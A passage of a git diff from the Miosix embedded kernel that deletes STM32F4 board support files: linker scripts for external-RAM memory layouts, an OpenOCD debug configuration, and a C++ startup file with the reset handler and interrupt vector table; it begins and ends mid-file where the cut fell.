*(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > smallram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > smallram - _bss_end = .; - - /*_end = .;*/ - /*PROVIDE(end = .);*/ -} diff --git a/miosix/arch/cortexM4_stm32f4/stm32f429zi_stm32f4discovery/stm32_2m+6m_xram.ld b/miosix/arch/cortexM4_stm32f4/stm32f429zi_stm32f4discovery/stm32_2m+6m_xram.ld deleted file mode 100644 index b61f04cea..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f429zi_stm32f4discovery/stm32_2m+6m_xram.ld +++ /dev/null @@ -1,183 +0,0 @@ -/* - * C++ enabled linker script for stm32 (2M FLASH, 256K RAM, 8M XRAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This chip has an unusual quirk that the RAM is divided in two block mapped - * at two non contiguous memory addresses. I don't know why they've done that, - * probably doing the obvious thing would have made writing code too easy... - * Anyway, since hardware can't be changed, we've got to live with that and - * try to make use of both RAMs. - * - * Given the constraints above, this linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in FLASH - * - the 512Byte main (IRQ) stack, .data and .bss in the "small" 64KB RAM - * - .data, .bss, stacks and heap in the external 6MB SDRAM. - * Note that the SDRAM is 8MB, but this linker script only uses the lower 6. - * The upper 2MB are reserved as framebuffers for the LCD. Notice that the - * choice to allocate this space is due to the SDRAM architecture, composed of - * 4 banks of 2MB each. Reserving a bank for the LCD allows the software - * running on the board and the LCD to operate (almost) independently. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x10000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap into XRAM */ -_heap_end = 0xd0600000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M - /* - * Note, the small ram starts at 0x10000000 but it is necessary to add the - * size of the main stack, so it is 0x10000200. - */ - smallram(wx) : ORIGIN = 0x10000200, LENGTH = 64K-0x200 - largeram(wx) : ORIGIN = 0x20000000, LENGTH = 192K - xram(wx) : ORIGIN = 0xd0000000, LENGTH = 6M - lcdram(wx) : ORIGIN = 0xd0600000, LENGTH = 2M -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > xram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > xram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM4_stm32f4/stm32f429zi_stm32f4discovery/stm32_2m+8m_xram.ld b/miosix/arch/cortexM4_stm32f4/stm32f429zi_stm32f4discovery/stm32_2m+8m_xram.ld deleted file mode 100644 index 78fe53104..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f429zi_stm32f4discovery/stm32_2m+8m_xram.ld +++ /dev/null @@ -1,177 +0,0 @@ -/* - * C++ enabled linker script for stm32 (2M FLASH, 256K RAM, 8M XRAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This chip has an unusual quirk that the RAM is divided in two block mapped - * at two non contiguous memory addresses. I don't know why they've done that, - * probably doing the obvious thing would have made writing code too easy... - * Anyway, since hardware can't be changed, we've got to live with that and - * try to make use of both RAMs. - * - * Given the constraints above, this linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in FLASH - * - the 512Byte main (IRQ) stack, .data and .bss in the "small" 64KB RAM - * - .data, .bss, stacks and heap in the external 8MB SDRAM. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x10000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap into XRAM */ -_heap_end = 0xd0800000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M - /* - * Note, the small ram starts at 0x10000000 but it is necessary to add the - * size of the main stack, so it is 0x10000200. - */ - smallram(wx) : ORIGIN = 0x10000200, LENGTH = 64K-0x200 - largeram(wx) : ORIGIN = 0x20000000, LENGTH = 192K - xram(wx) : ORIGIN = 0xd0000000, LENGTH = 8M -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > xram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > xram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM4_stm32f4/stm32f429zi_stm32f4discovery/stm32f4discovery.cfg b/miosix/arch/cortexM4_stm32f4/stm32f429zi_stm32f4discovery/stm32f4discovery.cfg deleted file mode 100644 index b489a546b..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f429zi_stm32f4discovery/stm32f4discovery.cfg +++ /dev/null @@ -1,17 +0,0 @@ -# -# OpenOCD configuration file for in-circuit debugging the stm32f4discovery -# To start debugging issue those commands: -# arm-miosix-eabi-gdb main.elf -# target remote :3333 -# monitor reset halt -# load -# break main -# continue -# - -# Daemon configuration -telnet_port 4444 -gdb_port 3333 - -# Board support is available in newer oocd -source [find board/stm32f4discovery.cfg] diff --git a/miosix/arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco/core/stage_1_boot.cpp b/miosix/arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco/core/stage_1_boot.cpp deleted file mode 100644 index 5123574b4..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco/core/stage_1_boot.cpp +++ /dev/null @@ -1,418 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "interfaces/bsp.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32f46x devices ONLY. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - //SystemInit() is called *before* initializing .data and zeroing .bss - //Despite all startup files provided by ST do the opposite, there are three - //good reasons to do so: - //First, the CMSIS specifications say that SystemInit() must not access - //global variables, so it is actually possible to call it before - //Second, when running Miosix with the xram linker scripts .data and .bss - //are placed in the external RAM, so we *must* call SystemInit(), which - //enables xram, before touching .data and .bss - //Third, this is a performance improvement since the loops that initialize - //.data and zeros .bss now run with the CPU at full speed instead of 8MHz - SystemInit(); - //ST does not provide code to initialize the stm32f469-disco SDRAM at boot. - //Put after SystemInit() as SDRAM is timing-sensitive and needs the full - //clock speed. - #ifdef __ENABLE_XRAM - miosix::configureSdram(); - #endif //__ENABLE_XRAM - - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMP_STAMP_IRQHandler(); -void __attribute__((weak)) RTC_WKUP_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream0_IRQHandler(); -void __attribute__((weak)) DMA1_Stream1_IRQHandler(); -void __attribute__((weak)) DMA1_Stream2_IRQHandler(); -void __attribute__((weak)) DMA1_Stream3_IRQHandler(); -void __attribute__((weak)) DMA1_Stream4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream5_IRQHandler(); -void __attribute__((weak)) DMA1_Stream6_IRQHandler(); -void __attribute__((weak)) ADC_IRQHandler(); -void __attribute__((weak)) CAN1_TX_IRQHandler(); -void __attribute__((weak)) CAN1_RX0_IRQHandler(); -void __attribute__((weak)) CAN1_RX1_IRQHandler(); -void __attribute__((weak)) CAN1_SCE_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_TIM9_IRQHandler(); -void __attribute__((weak)) TIM1_UP_TIM10_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_TIM11_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) OTG_FS_WKUP_IRQHandler(); -void __attribute__((weak)) TIM8_BRK_TIM12_IRQHandler(); -void __attribute__((weak)) TIM8_UP_TIM13_IRQHandler(); -void __attribute__((weak)) TIM8_TRG_COM_TIM14_IRQHandler(); -void __attribute__((weak)) TIM8_CC_IRQHandler(); -void __attribute__((weak)) DMA1_Stream7_IRQHandler(); -void __attribute__((weak)) FMC_IRQHandler(); -void __attribute__((weak)) SDIO_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) UART4_IRQHandler(); -void __attribute__((weak)) UART5_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); -void __attribute__((weak)) DMA2_Stream0_IRQHandler(); -void __attribute__((weak)) DMA2_Stream1_IRQHandler(); -void __attribute__((weak)) DMA2_Stream2_IRQHandler(); -void __attribute__((weak)) DMA2_Stream3_IRQHandler(); -void __attribute__((weak)) DMA2_Stream4_IRQHandler(); -void __attribute__((weak)) ETH_IRQHandler(); -void __attribute__((weak)) ETH_WKUP_IRQHandler(); -void __attribute__((weak)) CAN2_TX_IRQHandler(); -void __attribute__((weak)) CAN2_RX0_IRQHandler(); -void __attribute__((weak)) CAN2_RX1_IRQHandler(); -void __attribute__((weak)) CAN2_SCE_IRQHandler(); -void __attribute__((weak)) OTG_FS_IRQHandler(); -void __attribute__((weak)) DMA2_Stream5_IRQHandler(); -void __attribute__((weak)) DMA2_Stream6_IRQHandler(); -void __attribute__((weak)) DMA2_Stream7_IRQHandler(); -void __attribute__((weak)) USART6_IRQHandler(); -void __attribute__((weak)) I2C3_EV_IRQHandler(); -void __attribute__((weak)) I2C3_ER_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_OUT_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_IN_IRQHandler(); -void __attribute__((weak)) OTG_HS_WKUP_IRQHandler(); -void __attribute__((weak)) OTG_HS_IRQHandler(); -void __attribute__((weak)) DCMI_IRQHandler(); -void __attribute__((weak)) HASH_RNG_IRQHandler(); -void __attribute__((weak)) FPU_IRQHandler(); -void __attribute__((weak)) UART7_IRQHandler(); -void __attribute__((weak)) UART8_IRQHandler(); -void __attribute__((weak)) SPI4_IRQHandler(); -void __attribute__((weak)) SPI5_IRQHandler(); -void __attribute__((weak)) SPI6_IRQHandler(); -void __attribute__((weak)) SAI1_IRQHandler(); -void __attribute__((weak)) LTDC_IRQHandler(); -void __attribute__((weak)) LTDC_ER_IRQHandler(); -void __attribute__((weak)) DMA2D_IRQHandler(); -void __attribute__((weak)) QUADSPI_IRQHandler(); -void __attribute__((weak)) DSI_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMP_STAMP_IRQHandler, - RTC_WKUP_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Stream0_IRQHandler, - DMA1_Stream1_IRQHandler, - DMA1_Stream2_IRQHandler, - DMA1_Stream3_IRQHandler, - DMA1_Stream4_IRQHandler, - DMA1_Stream5_IRQHandler, - DMA1_Stream6_IRQHandler, - ADC_IRQHandler, - CAN1_TX_IRQHandler, - CAN1_RX0_IRQHandler, - CAN1_RX1_IRQHandler, - CAN1_SCE_IRQHandler, - EXTI9_5_IRQHandler, - TIM1_BRK_TIM9_IRQHandler, - TIM1_UP_TIM10_IRQHandler, - TIM1_TRG_COM_TIM11_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - OTG_FS_WKUP_IRQHandler, - TIM8_BRK_TIM12_IRQHandler, - TIM8_UP_TIM13_IRQHandler, - TIM8_TRG_COM_TIM14_IRQHandler, - TIM8_CC_IRQHandler, - DMA1_Stream7_IRQHandler, - FMC_IRQHandler, - SDIO_IRQHandler, - TIM5_IRQHandler, - SPI3_IRQHandler, - UART4_IRQHandler, - UART5_IRQHandler, - TIM6_DAC_IRQHandler, - TIM7_IRQHandler, - DMA2_Stream0_IRQHandler, - DMA2_Stream1_IRQHandler, - DMA2_Stream2_IRQHandler, - DMA2_Stream3_IRQHandler, - DMA2_Stream4_IRQHandler, - ETH_IRQHandler, - ETH_WKUP_IRQHandler, - CAN2_TX_IRQHandler, - CAN2_RX0_IRQHandler, - CAN2_RX1_IRQHandler, - CAN2_SCE_IRQHandler, - OTG_FS_IRQHandler, - DMA2_Stream5_IRQHandler, - DMA2_Stream6_IRQHandler, - DMA2_Stream7_IRQHandler, - USART6_IRQHandler, - I2C3_EV_IRQHandler, - I2C3_ER_IRQHandler, - OTG_HS_EP1_OUT_IRQHandler, - OTG_HS_EP1_IN_IRQHandler, - OTG_HS_WKUP_IRQHandler, - OTG_HS_IRQHandler, - DCMI_IRQHandler, - 0, - HASH_RNG_IRQHandler, - FPU_IRQHandler, - UART7_IRQHandler, - UART8_IRQHandler, - SPI4_IRQHandler, - SPI5_IRQHandler, - SPI6_IRQHandler, - SAI1_IRQHandler, - LTDC_IRQHandler, - LTDC_ER_IRQHandler, - DMA2D_IRQHandler, - QUADSPI_IRQHandler, - DSI_IRQHandler -}; - -#pragma weak SysTick_IRQHandler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMP_STAMP_IRQHandler = Default_Handler -#pragma weak RTC_WKUP_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream0_IRQHandler = Default_Handler -#pragma weak DMA1_Stream1_IRQHandler = Default_Handler -#pragma weak DMA1_Stream2_IRQHandler = Default_Handler -#pragma weak DMA1_Stream3_IRQHandler = Default_Handler -#pragma weak DMA1_Stream4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream5_IRQHandler = Default_Handler -#pragma weak DMA1_Stream6_IRQHandler = Default_Handler -#pragma weak ADC_IRQHandler = Default_Handler -#pragma weak CAN1_TX_IRQHandler = Default_Handler -#pragma weak CAN1_RX0_IRQHandler = Default_Handler -#pragma weak CAN1_RX1_IRQHandler = Default_Handler -#pragma weak CAN1_SCE_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_TIM9_IRQHandler = Default_Handler -#pragma weak TIM1_UP_TIM10_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_TIM11_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak OTG_FS_WKUP_IRQHandler = Default_Handler -#pragma weak TIM8_BRK_TIM12_IRQHandler = Default_Handler -#pragma weak TIM8_UP_TIM13_IRQHandler = Default_Handler -#pragma weak TIM8_TRG_COM_TIM14_IRQHandler = Default_Handler -#pragma weak TIM8_CC_IRQHandler = Default_Handler -#pragma weak DMA1_Stream7_IRQHandler = Default_Handler -#pragma weak FMC_IRQHandler = Default_Handler -#pragma weak SDIO_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak UART4_IRQHandler = Default_Handler -#pragma weak UART5_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler -#pragma weak DMA2_Stream0_IRQHandler = Default_Handler -#pragma weak DMA2_Stream1_IRQHandler = Default_Handler -#pragma weak DMA2_Stream2_IRQHandler = Default_Handler -#pragma weak DMA2_Stream3_IRQHandler = Default_Handler -#pragma weak DMA2_Stream4_IRQHandler = Default_Handler -#pragma weak ETH_IRQHandler = Default_Handler -#pragma weak ETH_WKUP_IRQHandler = Default_Handler -#pragma weak CAN2_TX_IRQHandler = Default_Handler -#pragma weak CAN2_RX0_IRQHandler = Default_Handler -#pragma weak CAN2_RX1_IRQHandler = Default_Handler -#pragma weak CAN2_SCE_IRQHandler = Default_Handler -#pragma weak OTG_FS_IRQHandler = Default_Handler -#pragma weak DMA2_Stream5_IRQHandler = Default_Handler -#pragma weak DMA2_Stream6_IRQHandler = Default_Handler -#pragma weak DMA2_Stream7_IRQHandler = 